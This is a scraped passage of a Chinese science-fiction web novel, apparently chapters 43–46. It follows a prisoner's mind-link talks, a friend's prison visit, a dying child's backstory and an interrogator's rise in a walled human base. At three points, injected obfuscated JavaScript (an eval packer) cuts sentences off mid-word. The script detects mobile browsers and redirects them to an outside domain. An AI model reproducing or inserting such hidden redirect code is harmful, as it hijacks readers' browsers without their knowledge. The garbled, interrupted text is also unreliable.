阮真莎半异化的大脑中,一个显眼的坐标不停地闪烁着。 那是柳法的坐标,和阮真莎只有一墙之隔。 阮真莎从未想到,柳法竟然离她如此之近。 阮真莎更未想到,在柳法的坐标靠近她后,那紊乱疯狂的精神波动,竟然缓缓平静了下来。 仿佛回到温床。 仿佛坠入梦乡。 “如果可以,我愿意说服柳法,陪伴他前往墙外,前往一个渺无人烟的地方。”阮真莎道,“我和他,在决定重启集体决策项目的那一刻起,就是人类的罪人了,把我们流放墙外,已经是我们最好的结局。” “你能说服他?” “我能说服他。” “为什么?” “也许因为他爱我吧。”阮真莎垂眸浅笑,蕴着淡淡的哀伤,“我和他的婚姻,只是父辈间的一个约定,但仔细想来,在这段婚姻中,他一直托举着我,即使我为他孕育了一个女儿,他却比我更加憔悴。” 单无绮问道:“你爱柳法吗?” 阮真莎低头一笑。 她看着自己放在膝上的双手。 黑色的手套下,是一双非人的鳞爪。 “我不爱他。”阮真莎答道。 “你是他的妻子。”单无绮提醒道。 “是的,我是他的妻子。”阮真莎柔顺地解释,“但婚姻只是一纸契约,爱不是必要条件。我知道自己不爱他,因为我知道他爱我,他对我释放的爱意,在我的心头从未萌生过。” 单无绮沉默。 单无绮和阮真莎的对话,横跨了大半个基地。 前者是禁闭室里戴着镣铐的囚徒,而后者,是封闭在福利院里的一抹幽魂。 精神链接传来的涟漪,纯净而真挚。 阮真莎没有欺骗单无绮。 阮真莎说的是真的。 她真的打算带着丈夫离开城墙,即使旅途的终点是死亡。 阮真莎没有点明柳法的位置,但单无绮已经听明白了。 单无绮低下头,看着吃得见底的饭盒。 虽然是牢饭,但色香味俱全,底下还压着两个大鸡腿。 爱是难解的谜题。 萨摩又对自己怀揣着怎样的心意呢? 良久,单无绮问道:“他的灵魂还安宁吗?” 单无绮默许了阮真莎的选择。 同时,单无绮默许了阮真莎短暂的包庇。 单无绮没有说出“柳法”这个名字,而是用了一个含糊的代称:他。 阮真莎垂眸。 她感受着柳法的精神波动:“很安宁。” “稳住他。” “是,单副官。” 铁栏外传来脚步声。 单无绮切断和阮真莎的谈话,抬起头看向铁栏外。 一道宽厚的身影出现在昏暗的走廊中。 “无绮。”首长道,“听萨摩说,你想见我一面?” 单无绮低头:“是。” “为什么?” “您给我的考卷,我写下了几行答案,您有兴趣批阅吗?” 铁栏外传来开锁的声音。 首长打开了门,从阴影走入光亮中。 首长看着单无绮吃完的饭盒:“那小子给你打了两个鸡腿。” 单无绮把饭盒盖好:“见笑了。” “的确见笑,连我都没有这个待遇。” “……”单无绮沉默了一瞬,“堂堂基地首长,请不要记挂这两个鸡腿了。” “好了,不开玩笑了。”首长笑着摆了一下手,又恢复严肃的神色,道,“你想对我说什么?” 单无绮回忆首长的考题。 他要求自己解决掉“蜂”。 将柳法流放,是目前最好的办法,但柳法前往外城,是否有首长的授意? “您知道柳法·波波夫吗?”单无绮问。 “知道。”首长答。 “他还没有死。”单无绮道。 首长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这是我的疏忽,我忘记了,再理智的科学家,亲身体验外城的疾苦后,便会生出深切的怜悯。”首长的声音变得很轻,“成为首长前,我是一个潦倒的外城小子,但成为首长后,当我远离那些苦难,从前刻骨铭心的饥饿和贫穷,如今只是一道道愈合的伤疤,我抚摸着那些伤疤,却再也无法重拾当年的痛苦。” 单无绮看着首长。 “我想打破这堵城墙,我想所有人走在广袤的大地上,但理想落到现实里,总是阻碍重重,布满荆棘。”首长叹了一口气。 单无绮了然。 首长给出的考题,单无绮可以交卷了。 “关于蜂,关于柳法,我有几句话想对您说。”单无绮道。 她回忆着柳法,那个有着烟雾般弥散的雪白长发,在筑墙者的铜像下,弹奏小竖琴的男人:“柳法偷走了孢子,利用孢子创造了蜂群意识,蜂群失控后,他吸纳了死者的灵魂,成立了现在的蜂。” 首长的眼皮跳了跳。 “柳法的大脑里,收纳着死者们的灵魂,他的行为混沌且无序,外城爆发惨案,是因为他在人群中播撒混乱。”单无绮道,“但是,要剿灭蜂,只需要控制住阮真莎。” “为什么?” “因为他爱她。” “……”首长再次沉默。 首长深吸一口气,抬起手,在脸上缓慢地抹了一把。 万物都有尺度,但爱是唯一无可丈量的东西。 良久,首长道:“这可不算什么像样的理由啊。” “我明白,首长。”单无绮道,“这就是我的答案,这张考卷,您愿意给我几分?” 首长盯着单无绮。 突然,一个机械女声在禁闭室中响起。 “日安,两位。”伊甸道,“关于此次思想考试,我已经想好了考题。” 伊甸负责思想考试的形式和内容。 旧人类的遗产都是她的眼睛,在基地里,伊甸无处不在。 首长道:“愿闻其详。” 伊甸道:“假设你是人类第一基地的公民李华,请你给首长写一封信,内容包括:1、介绍基地的基本情况;2、你在基地扮演着怎样的角色;3、你对未来的畅想。” 44. 探监 单无绮已经被关押一周。 这一周,基地流言四起。 有人说,单无绮彻底失去了人类意识,还有人说,单无绮加入了一个隐秘的实验,更有人说,单无绮已经被秘密处死了。 那些声音仿佛一万片雪花,轻飘飘地落在人的耳朵里,听得多了,便成了一场雪崩。 期间,尤娜的核心党员申请第三次被驳回。 “你的申请会通过的,但不是现在。”面对尤娜愤怒的质问,阎银华无奈地重复。 “为什么?”尤娜反问。 阎银华沉默。 其间,有太多关节没有打通,更缠绕着无数筹谋,尤娜只是棋盘上一枚微不足道的棋子,无人在意棋子的声音。 尤娜倔强地看着阎银华。 看着尤娜猫一样的眼睛,阎银华妥协道:“你可以向我提一个要求。” “单无绮在哪儿?”尤娜问。 “友爱部大楼,某个禁闭室。”阎银华答。 “我要去看她。” “……” 一诺千金。 现在,尤娜站在友爱部大楼外,接受着友爱部党员的检查。 尤娜带了许多不该带的东西。 那是其他人拜托她转交给单无绮的,他们没有探视单无绮的资格。 尤娜已经做好被扣押的准备,但负责搜身的党员对尤娜使了个眼色,亮了绿灯。 尤娜狐疑地盯着那名党员。 “请进去吧,同志。”搜身的党员一脸正经。 见尤娜态度迟疑,党员轻声道:“我是萨摩司长的下属。” 萨摩? 尤娜盯了党员一阵,忽然认出了这张有点眼熟的脸。 调查归来时,墙壁外,蓝心抽走了他们的血,这名党员站在一旁,拎着水壶,给他们每人倒了一杯热水。 尤娜朝党员点点头:“多谢。” 党员颔首。 另一个值岗的党员为尤娜引路。 “小心那个家伙。”萨摩的下属提醒道,“他是乔纳森部长的人。” 如果共荣部是基地最神秘的部门,那么友爱部,就是基地最臭名昭著的部门。 友爱部负责拷问和审讯,所有的手段和武器,都对准了墙内的同胞。 尤娜加入四部已有数年,但这还是她第一次来到友爱部。 乔纳森部长的属下,那个负责引路的党员走在前面。 尤娜紧随其后。 走廊阴暗逼仄,充斥着陈血的味道。 尤娜听到了带着回声的惨叫。 她看向两侧的禁闭室,灯光昏暗,铁栏重重。 “您是第一个主动探视单无绮的人。”引路的党员道,“真没想到,三年过去,即使她曾是风头无两的副官,如今也门可罗雀了。” 尤娜狠狠皱眉。 她啐道:“一群蠹虫。” 片刻后,尤娜忍不住问:“她还好吗?” 党员没有回答。 尤娜品出了党员的态度。 她催促后者加快脚步,心仿佛被火焰炙烤。 单无绮的禁闭室在走廊最深处。 尤娜闻着越来越浓的血腥味,心头的不安愈发浓郁。 突然,尤娜听到了叮铃的脆响。 那是镣铐被拨弄的声音。 下一刻,尤娜听到了单无绮痛苦的闷哼。 尤娜:“!” 她推开前方引路的党员,循着声音,朝单无绮的禁闭室冲了过去。 待找到地方,尤娜一把抓住铁栏。 “单无绮!”尤娜朝里面叫喊,“你怎么了?你还好吗?” 单无绮抬起头。 此次思想考试,单无绮将在狱中参加。 出狱之后,单无绮将和阮真莎正式交涉。 柳法是外城的危险因子,却也是宝贵的实验素材,如果情况可控,将柳法送去研究所,不仅可以推动血清的研发,说不定还能挽救柳法的性命。 单无绮和阮真莎隔空交流,阮真莎表示,她会控制住柳法。 “无论如何,我会陪着柳法。”阮真莎道。 “你不会怨恨吗?”单无绮问道。 精神链接中,阮真莎的情绪波动了一下。 “……怨恨,也是有的,但我知道,让他变成这副模样的,正是他自己。”阮真莎轻声道,“我明白他对人类的感情,在他理智崩塌之时,我会引导他走上正确的道路。” “多谢。” “这是我的职责,既为夫妻情分,也为种族大义。” 听着阮真莎理智到极致的声音,单无绮心里有点不好受。 她拨弄了一下手腕上的铁铐。 滋滋的电流流窜出来。 “嘶!”单无绮闷哼一声。 单无绮蜷缩在椅子上。 酥麻的异感传递全身,单无绮安静地盯着头顶的灯泡。 突然,一个东西重重地撞在了铁栏上。 单无绮吓得一惊。 但下一刻,一个意想不到的声音传入了单无绮的耳畔。 “单无绮!你还好吗?” 尤娜? 单无绮愕然地抬起头,正对上那双漆黑的眼睛。 …… 尤娜把藏在身上的东西一样样拿出来。 引路的党员轻咳一声,又在尤娜凌厉的瞪视下,转身面对墙壁,佯装什么也没有看到。 单无绮目瞪口呆地看着尤娜:“你……” “这次思想考试的题目已经出来了,喏,13个信件模板,庄修文总结的,让我捎给你一份。”尤娜的嘴巴一打开就没闭上过,“佩佩把阎老的糖罐偷出来了,说是带给你。还有这一打伤药,阮禾听说友爱部的猎犬会对囚犯挥鞭子……” 面壁的友爱部党员:“咳咳咳!” “总之,阮禾担心你受伤。”尤娜把藏着的东西抖了一地,像小鸟褪毛,“还有这串念珠,安多尼盘得快包浆了,他坚信这样能带给你福祉,还有……” 尤娜抖东西的动作停顿了一下。 她从左心口袋里摸出一个小东西:“这是维沙尔给你的。” 单无绮疑惑地盯着尤娜的手心。 那是个光洁坚硬的小东西,呈现优雅的螺旋型,在微弱的灯光下泛着柔和的珠光。 单无绮的知识库里没有对应的索引,她不知道这是什么。 单无绮接过那个东西,镣铐叮铃响。 “哦,对了!”尤娜突然想起什么,“维沙尔说,把这个放到耳边。” 单无绮照做。 呜—— 单无绮听到了号角般低柔的吟唱。 “这是什么?”单无绮惊奇地嘀咕。 “鹦鹉螺。”零道。 “鹦鹉……螺?” “难怪你不知道了,如今所有的人类,都没有见过大海。”零唏嘘地叹了口气,“但这只鹦鹉螺已经是化石了,数万年前,这里曾是一片海洋。” 海洋。 高墙内,海洋是比太阳还要遥远的话题。 单无绮轻轻攥着那只鹦鹉螺。 友爱部党员结束面壁:“时间到了。” 尤娜哀叹道:“我们还没说几句话……” “这里是友爱部,不是公园。”党员的余光在那堆东西上扫过,“而且,我已经足够宽容了。” 尤娜的脾气只在占理时发作。 她垂头丧气,像萎靡的小鸟一样变得低落了。 单无绮眨了下眼,把那只海螺举起。 “嘿,哥们儿。”单无绮朝党员道,“要听一听吗?” 党员冷面以对:“请你自重。” “你见过大海吗?你听过大海的声音吗?”单无绮听着零对海洋的描述,对党员循循以诱,“我们的脚下是陆地,但陆地之外是辽阔的海洋,听说海洋比陆地还大,里面都是咸涩的盐水,基地那么大的船只航行在上面,也渺小得像一粒麦子。” 党员的眼神游移了一下。 他轻声道:“我坐过船。” 单无绮把鹦鹉螺朝党员举了举。 党员犹豫了一会儿,轻轻接过海螺,又笨拙地抬起手,把螺口对准耳朵。 “……真奇怪。”党员呢喃道,“……像监听电话……但比电话有趣。” 党员朝向墙壁,听着海螺。 他默许尤娜多待一阵子。 单无绮和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799224|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤娜聊了许久。 单无绮在禁闭室里关了一星期,对外面的变化几乎一无所知,除了萨摩和阮真莎,她没有任何情报渠道。 她得知,乔纳森第二次举报了她。 “他急什么?”单无绮皱眉。 “蠹虫而已。”尤娜啐道。 除了这个,尤娜还向单无绮提供了一条重要情报。 研究所所长蓝心向基地公开纳新了,理由是人手不足。 “你知道为什么吗?”尤娜看着单无绮变化的表情,问道。 单无绮陷入沉思。 她对尤娜道:“蓝心是新上任的所长,新官上任三把火,她需要自己的人手和心腹。” 血清的事,尤娜最好不要知道。 尤娜性子火爆,如果卷进这个漩涡,她将难以抽身。 尤娜探视单无绮,最重要的目的,是知道单无绮是否平安。 因此,尤娜并没有耽搁太久。 尤娜提出离开,友爱部党员归还海螺,脸上残存着一丝不舍。 “我的耳边,很久没有这么安宁过了。”党员居然有一点伤感。 党员的伤感真情实意。 尤娜看了他一眼,没有吭声。 尤娜离开,留下众人的礼物。 单无绮把披肩披在身上,戴上那串念珠,一边含着糖果,一边翻看庄修文出品的信件模板。 单无绮:“……” 单无绮:“……” 她的额头重重地抵在桌板上:“我果然……不擅长考试……” * 另一头,友爱部党员将尤娜送出大楼。 党员看着尤娜的背影,回味着海螺的声音。 那就是大海的声音吗? 如此想道,党员回头,迎面却是一个黑漆漆的枪口。 举枪的人是值班的同僚,萨摩司长的下属。 党员低头一笑。 萨摩司长和乔纳森部长的矛盾,虽然还没有摆在明面上,但二者麾下的势力,已经泾渭分明。 友爱部的眼线遍布整个基地,但友爱部内部,也是互相监视,互相掣肘。 “你在里面耽搁了很久,你做了什么?”萨摩的下属警惕地问。 “我听了一会儿大海的声音。”引路的党员,乔纳森的下属道,“那个声音,我听了十八分三十七秒。” “什么?” “我坐过一次船,阿廖沙。”引路的党员说出对方的名字,这引得对方的眼神锐利了一瞬,“那年我十三岁,外城的暴民攻破了城门,瓮城的人都在逃命,但我没有逃。” “……” “我没有逃,因为船票的价格炒到了天上,我听说,连有钱人的狗都占着一个名额。”引路的党员道,“我把妹妹送上了逃难的船,目送那艘船消失在运河尽头,这个时候,我才发现,我的手里攥着妹妹的手帕——我太害怕了,害怕到扯走了她的手帕都毫无察觉。” “……” “我用那张小手帕折了一艘小船,它沉了——用来擦拭眼泪的手帕,材质本就吸水。我的妹妹也死了,那艘逃难的船在中途停下,我找到她时,她已经是一具饱受凌辱的尸体——她是一朵还没绽开的花,本就经不起磋磨。” “……请节哀。” “我没坐过船。我一直在想,如果坐在船上的是我,我的妹妹也许不会死。”引路的党员目光平静,那看似愈合的伤口下,是鲜血般滚烫的泪与恨,“我是乔纳森的狗,他答应我,他会为我报仇。” “……”萨摩的下属垂下眼睛。 他放下了手枪。 * 尤娜回到调查司。 调查司在团结部几乎没有存在感,尤娜穿过一条条走廊,和许多忙碌的党员擦肩而过。 她来到一间病房。 病房明显是临时改造的,两个执枪的党员守在门口。 见尤娜出现,他们对尤娜微微颔首,开始例行询问。 “姓名?” “阎尤娜。” “身份?” “团结部调查司党员。” “来意?” “探望我的同伴,探望……S级异种,维沙尔·莱恩。” 45. 维沙尔的故事 大部分人都没有三岁之前的记忆,但维沙尔的记忆力很好。 他甚至记得出生时的感受。 那道包裹着他的温暖液体,在一阵剧烈的动荡后,坠入深渊般飞快流逝,他顺着流逝的液体,从泛着橘黄光芒的、温暖的母体,来到了飘雪的人间。 那是一个冬天。 那是基地有史以来,最寒冷的一个冬天,而在这个冬天之前,暴烈的酷夏热死了很多人。 维沙尔的母亲熬过了夏天,却没熬过冬天,她只来得及给襁褓中的婴儿留下一个名字,就撒手人寰了。 维沙尔被一个男人收养了。 那个男人有着烟雾般弥散的长发,泛着淡淡的灰色。 维沙尔被男人秘密地养大。 五岁之前,维沙尔一直以为,世界就是这个样子。 他的出生是一场告别,他告别了温暖的羊水,告别了母亲的心跳,告别了一切陪伴他,庇护他的东西。 在脱离母体的那个瞬间起,他的世界就是一场漫长的冬天。 直到他见到了零。 “可怜的幼崽,你的父亲真是不称职。”浸泡在培养罐中的异种说,“三百年来,我见过许多和你一样的幼崽,但即使是最饥饿的岁月里,他们的脸颊都比你丰满。” 小小的维沙尔穿着白大褂,衣摆拖到了地上。 他看着培养罐,里面漂浮着一只畸形的肉团。 他本以为,这个肉团已经死了。 “你是谁?”维沙尔问。 “我?”畸形的肉团发出一声低笑。 那笑声直接传入了维沙尔的大脑。 他们并非通过空气中传导的声波交流,而是另一种更直接,更隐秘,更需天赋的方式。 ——精神。 ——亦或,灵魂。 “让我想想,呣……”肉团发出极具人性的叹息声,“我是零,旧时代和新时代的见证者,上一纪文明的遗尘。我曾亲眼目睹高墙筑起,太阳陨落——此世已是永夜,而你们的月亮就要西沉。” 五岁的维沙尔艰难地理解这些晦涩的语言。 维沙尔是偷跑出来的,还没等他想明白,穿着白大褂的研究员就找到了他。 “维沙尔!”研究员训斥道,“你怎么可以乱跑!” 维沙尔温驯地低头。 维沙尔安静地跟在研究员身后,仿佛一只柔顺的羔羊。 维沙尔回到了小黑屋。 房门“砰”地关上。 维沙尔转身,拖地的白大褂绊了他一跤。 他摔倒了,露出布满针孔的胳膊。 维沙尔呆滞地躺在地上。 真冷啊。 维沙尔想道。 “哎呀!可怜的幼崽!”大脑中,那个咋咋呼呼的声音再次响起,“你的待遇还不如我呢。” 维沙尔不说话。 “现在的人类,真是一代不如一代了。”那个声音叹气道。 维沙尔犹豫了一会儿:“对不起。” “……你是最不该说对不起的那个人。”良久,那个声音复杂地说。 又过了一阵,那个声音说:“你还不站起来吗?我可没办法扶你。” 维沙尔缓慢起身。 从此,维沙尔和零成为了朋友。 “《异种图鉴》?”一次聊天中,零对维沙尔的问题表示不屑,“我的确在那本书上,因为我是被你们活捉的第一只异种。编号?好像是S-0。” 维沙尔翻开第一页。 一只通体灿金的异种印刷在书页上,三只眼睛呈三角阵状镶嵌在额头上,羽毛似的鳞片覆盖在体表,仿佛一轮坠地的太阳。 “好漂亮……”维沙尔惊呼道。 但是,维沙尔回忆培养罐里的畸形肉团。 “好丑……”维沙尔低声道。 “说谁丑呢!” “对不起!” “你说得对,现在的我真是丑极了。”零说,“但是啊,还是那句话,那个家伙的下场,还不如我呢。” 维沙尔疑惑地歪头:“谁?” “你无需知道他是谁,他的存在,已经被掌权者刻意隐去了。”零的声音有些唏嘘,“你只需知道,他筑起了基地的高墙,人类将他称为筑墙者。” 维沙尔了然:“是他!” 这一次轮到零疑惑了:“你知道他?” “知道!”维沙尔兴奋地回答,“父亲和我讲过他的故事!” 维沙尔的父亲,或者说,维沙尔的养父,是上一任研究所所长的弟子。 上一任所长,因为犯下重罪,已经被首长亲自流放。 身为罪人的弟子,维沙尔的养父也被牵连,从研究所的明日之星,一下子跌落成角落里的尘埃。 维沙尔和零之间的话题,一下子变多了。 他们从墙内聊到墙外,从太阳聊到大海,从现在聊到过去,再聊到未来。 “我想到墙外去。”维沙尔说。 “这不可能。”零说。 “你想要自由吗?” “……什么?” “你想要自由吗?”维沙尔再次问,“我带你走,我们到墙外去。” 零犹豫了。 零注视着体内。 他近乎腐烂的肉身里,孕育着一个米粒大小的孢子。 小小的孢子。 小小的人类。 他们都在长大。 “再等等吧。”零含糊地回答,“还没到时候呢。” 但一阵剧烈的痛意唤醒了沉睡的零。 零睁开眼睛,看到一个神色匆忙的人类打开了培养罐,从他腐烂的身体里,剖出了那枚他视若生命的孢子。 研究所又发生了一场权力的更迭,这是人类亘古上演的戏码。 但零不关心这个。 他只关心自己的孢子。 “我跟你走!”零对维沙尔匆匆地说。 但说完话,零才注意到维沙尔的不对劲。 在零的感知里,维沙尔仿佛一把燃烧的柴薪。 他飞快地燃烧着,他的生命力被某样东西疯狂透支了,精神力变得空前强大,也空前脆弱。 “他们对你做了什么?”零愤怒地问。 “我注射了特型血清。”维沙尔轻轻地说,“不是他们强迫我的,是我主动的。” 零的理智一瞬间被怒火吞噬。 三百年里,他见过太多的人类死于血清,其中不乏维沙尔这样的幼崽。 “为什么?”零咆哮道,“为什么?” “因为我想出去,我想离开研究所,到墙外去。”维沙尔的声音微弱而坚定,“注射血清后,我会像单副官一样被流放,这是首长答应我的。” 单副官? 那是谁? 零尖利地说:“你这么弱小,在墙外会死的!” “你说错了,零。”维沙尔轻声反驳,“人在生下来的那一刻就已经死了,只是,人会因为某个瞬间而复活。” 零沉默。 “如果关在研究所里一辈子也算活着,我只是把同一天过了无数遍。”维沙尔向零道,“我们一起到墙外去,即使离开墙壁的下一秒就会死去,但至少……我看到了墙外的世界。” 零睁开眼睛,凝视腹部硕大的窟窿。 他的孢子被夺走了。 他本来……就要去寻找他的孢子。 “好。”零道,“我们走。” 零离开了自己的肉身,进入了维沙尔的精神。 但维沙尔没有被流放。 他加入了团结部调查司,成为了年龄最小的一名党员。 年龄第二小的党员,是佩特拉。 佩特拉没有姓。 佩特拉是研究所的实验体,她的来历在档案中被刻意抹去,而经过友爱部的洗脑,佩特拉忘记了她的父姓,以及她的父亲。 但佩特拉并不为此惋惜。 “我不在乎永远长不大。”佩特拉说。 “为什么?”维沙尔疑惑地问。 “后悔属于过去,焦虑属于未来,活着属于现在。”佩特拉抱着一个糖罐儿。 她掏出一颗,递给维沙尔:“喏,尝尝,我从阎老那里偷出来的,很甜。” 阎银华当选团结部部长后,做的第一件事,就是在玻璃木柜里藏一只糖罐儿。 即使糖罐儿隔几天就会“意外”失踪,但阎银华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808524|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会像失忆了一般,拍拍自己的额头,然后再放一罐进去。 维沙尔拨开糖纸,含住糖果。 很甜。 他看着远处的高墙,突然觉得,墙内的世界也挺不错。 但注射血清的副作用,就是精神力的飞快消耗。 维沙尔在精神领域的天赋过于出众了,在还没有注射血清时,他就已经能和零建立精神链接。 注射血清后,他的天赋和资质以指数倍燃烧,精神燃尽之时,也就是生命燃尽之时。 七岁,维沙尔已经行走不便。 他隐瞒了自己的健康状况,参加了第126次壁外调查。 调查司青黄不接,此次壁外调查出动了全部人马,连佩特拉都上了前线。 离开墙壁后,维沙尔高烧不退。 “你的精神快要枯竭了。”零在维沙尔的大脑中说,“你活不过五年。” “我今年才七岁。”维沙尔轻轻地说。 他的声音轻得像一只小猫。 阮禾是刚加入的新人,她因为经验不足,也留守后方。 驻扎点的微缩核心散发着柔和的涟漪。 阮禾给维沙尔擦拭额头上的汗水,安静地凝视维沙尔昏睡的脸庞。 “……原来,你就是那个孩子啊。”阮禾低不可闻地呢喃,“爸爸和我说过,离开内城时,他很后悔没有把你带出来。” 维沙尔的眉心微微舒展,也许他做了一个美梦。 阮禾为维沙尔掖好被角。 但阮禾突然发现,维沙尔放在心口上的手,牢牢地攥着什么东西。 阮禾忙于救治伤员,无法24小时陪护维沙尔。 她看到,维沙尔紧攥的小手上,每一个指甲都嵌着泥土。 阮禾轻轻地打开维沙尔的手心。 里面攥着一只鹦鹉螺。 …… 尤娜盯着躺在病床上的维沙尔。 他浑身插满导管,瘦成了一把骨头。 根据蓝心所长的说法,维沙尔注射的特型血清是半成品,而且他过于年幼,因此,他的潜力以及生命,都被那管药水蛀空了。 “顺带一提,维沙尔注射的血清,和单副官是一样的。”那时的蓝心说,“你最好去看一看单副官,说不定,她也快要死了。” 尤娜坐在维沙尔的病床边。 她抓起维沙尔枯瘦的小手,轻轻放在自己的脸颊上。 “她还活着,她是幸运的。”尤娜低着头,黑发挡住眼睛,“你可以放心了。” 维沙尔睁开双眼。 他苍白的嘴唇微微嗡动:“那……太好了……” 尤娜没有说话。 “我……很愧疚……”维沙尔每吐出一个字,肺部都会阵痛,“我知道……那个异种是零,我还把零……主动献给了她……” 尤娜依然没有说话。 “我已经……是一个异种了……对吗?”维沙尔虚弱地问。 尤娜的头埋得更深了。 她轻轻地点头。 “不要告诉单姐……我变成异种的事。” “好。” “我快死了吗?” “……嗯。” “一开始,我觉得她真幸运。”维沙尔微弱地呢喃,“同样的血清,她……没有一丝精神天赋,她不是……可以燃烧的柴薪。” 尤娜沉默。 她握紧了维沙尔的手。 “但我不羡慕她,因为……活着比死去更加痛苦。”维沙尔的声音已经听不见了,“我一直后悔……后悔生在这个世上,我总是在想……人为什么要活着呢?” 尤娜痛苦地看着维沙尔。 那张苍白的脸近乎透明,甚至可以看到异化的黑色血管。 维沙尔的生命,被旧人类的遗产艰难地维持着。 他是二代特型血清的注射者,活着的注射者中,他是最后一个可供实验的对象。 “可是最后,我想明白了。”维沙尔说,“未来必然是光明的,但现在仍是黑夜。我……必须接受生长在半路上的事实。” “为了人类的黎明?”尤娜喃喃地问。 “嗯,为了人类的黎明。”维沙尔笑着说。 46. 内城的声音 乔纳森看着桌上的信件。 那是一封举报信,举报对象是单无绮。 单无绮流放归来的那一天,乔纳森已经得知了消息。 他是最接近决策圈顶点的人之一,甚至自己也在权力的餐桌上有一席之地。 但乔纳森非常清楚,他现在的地位,并非依靠自己的才干。 墙内有两种声音,一种支持筑墙固守,一种支持迁徙远走,而在乔纳森加入四部之前,他对这两种声音都不感冒。 人类的命运与他无关,而集体,是宏大叙事中的伪命题。 年轻的乔纳森考入了友爱部。 在一周的短暂观察后,年轻的乔纳森发现,友爱部内部的声音,竟然出奇的一致。 ——友爱部的党员都长着同一条舌头,用不同的词汇,重复着老首长的话语。 ——老首长已经垂垂老矣,他无力平衡墙内的两种声音,于是,只能让一种声音压过另一种声音。 ——老首长选择了筑墙派。 “今天这场晚宴,你陪我出席。”友爱部部长对乔纳森说。 乔纳森只是个不起眼的小党员,因为一次“意外”,他进入了友爱部部长的视线,从此,他开始出入部长办公室,做一些端茶倒水的杂活。 友爱部部长看着乔纳森,发现这个小伙子,全然不似其他人那么毛躁青涩。 乔纳森的眼神沉静而机敏。 听到友爱部部长的话后,他既没有流露出惊喜,也没有表现出胆怯。 他宠辱不惊地表示了感谢,并且询问自己是否需要准备什么。 “你只需要带上一对耳朵和一双眼睛,并且忘记自己有一张嘴。”友爱部部长十分欣赏乔纳森,对他提点道,“这是一场盛大的晚宴,你要做好心理准备。” 乔纳森点头。 晚宴如期举办,盛大非凡。 首长是内外两城的太阳,但太阳也有西沉的一天。 老首长已经垂垂老矣,皱纹爬满脸庞。 众人举杯后,老首长将一个年轻人牵出来,用暗示的语言对众人宣布,这个年轻人将是他的继位者。 被老首长推出来的年轻人有着鹰一般锐利的眼神,他是一把锋利的刀,锋芒毕露,亟待磨砺。 和一旁的老首长相比,他年轻而澎湃,仿佛上帝的礼物。 “他是谁?”乔纳森轻声问。 “一个外城的贱民。”友爱部部长嘴唇嗡动。 友爱部部长脸上的轻蔑之色一闪而过,随后,他露出热情而虚伪的笑容,对高台上的年轻人恭敬地举杯。 “阎副官。”友爱部部长笑道,“我在这里先祝贺你了!” 阎副官。 原来他就是阎银华。 乔纳森心中想道。 阎银华是一个传奇人物。 他是最低贱的泽塔,在外城也是最底层的存在,但他偏偏有着蛊惑人心的力量,率领一众志同道合的朋友,用镰刀和斧头敲碎了通往内城的大门。 内城和外城再次恢复流通。 而阎银华,他不仅没有受到任何责罚,相反,他因祸得福,进入了老首长的视野,并在接下来的数年内飞速晋升,从一个名不见经传的见习调查员,成为了基地炙手可热的副官。 如果老首长是西沉的落日。 他就是东升的朝阳。 晚宴结束。 各路人马怀揣着各异的心思,讨论着大同小异的话题。 ——阎银华会是下一任首长吗? ——他象征着哪一种声音? 数次权力斗争后,乔纳森晋升为特情司司长。 如果友爱部是首长的鹰犬,那么特情司就是对准党员的獠牙。 对于此次晋升,乔纳森并不意外。 但令乔纳森感到意外的是,他上任后的第一次审问,对象就是基地的那颗新太阳。 阎银华。 “你为什么在这里?”乔纳森问出了一个很没有水平的问题。 阎银华抬起头。 这颗东升的新太阳遍体鳞伤。 友爱部有着上百套拷问方法,经过拷问,所有人都会说出上面愿意听到的真话。 很显然,阎银华没有屈服。 “又一个拷问官,好哇。”阎银华垂下头,发丝黏在伤口里,“你也是老家伙派来的人?” 乔纳森思索了一下。 乔纳森是友爱部部长的人,而友爱部部长是老首长的人。 他被派来拷问阎银华,有两种可能。 第一种可能,他进入了权力的核心圈。 第二种可能,他和面前这颗伤痕累累的太阳一样,被逐出了权力的核心圈。 但有一点是相同的。 自己和阎银华,因为这场拷问,绑在了同一条船上。 “你想东山再起吗?”乔纳森开门见山地问。 阎银华愣了一下。 他大笑:“你知道了什么?” “不,我什么都不知道。”乔纳森沉静地看着阎银华。 相比激动癫狂的阎银华,乔纳森冷静得像一个局外人:“即使你要告诉我,我也不会听,但我是特情司司长,论起拷问的手艺,基地里没人比得过我。” 阎银华停止大笑。 他收起了癫狂的眼神,恢复了理智的样貌,用一种堪称冰冷的神情审视着乔纳森。 良久,阎银华道:“你的名字?” “乔纳森。” “花言巧语也是你的拷问方法之一吗?” “真正的欺诈大师,嘴里没有一句假话。我在你身上看到了向上爬的机会,而你,我相信以你的眼光,也能在我身上看到同样的机会。” 乔纳森说完,阎银华低头苦笑。 “你说错了,同志。”阎银华道,“我此生最大的缺点,就是识人不清。” 一番拷问后,阎银华被释放。 那场极具暗示意味的晚宴,成为了众人口中不可言说的秘密。 苍老的落日还未西沉,东升的骄阳便彻底熄灭了。 又一次晚宴,老首长带着一位新人,向众人宣布,他便是自己的继任者。 